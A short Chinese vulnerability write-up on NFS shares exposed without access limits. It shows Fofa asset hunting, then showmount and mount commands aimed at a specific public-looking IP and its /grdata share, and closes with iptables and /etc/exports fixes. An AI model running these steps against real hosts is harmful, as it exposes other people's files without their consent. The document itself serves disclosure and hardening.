NSF共享目录未授权访问

Network File System(NFS)，是由SUN公司研制的UNIX表示层协议(pressentation layer protocol)，能使使用者访问网络上别处的文件就像在使用自己的计算机一样。服务器在启用nfs服务以后，由于nfs服务未限制对外访问，导致共享目录泄漏。

》》》漏洞复现《《《

步骤一：使用以下语句在Fofa上进行资产收集....

"nfs"

步骤二：执行命令进行漏洞复现....

#安装nfs客户端
apt install nfs-common

 
#查看nfs服务器上的共享目录

showmount -e 78.11.20.2   

 
#挂载相应共享目录到本地
mount -t nfs 78.11.20.2:/grdata /mnt 

#卸载目录
umount /mnt

》》漏洞修复《《《

1.利用iptables限制端口2049和20048端口的访问，禁止外部访问；
2.设置/etc/exports，对访问进行控制；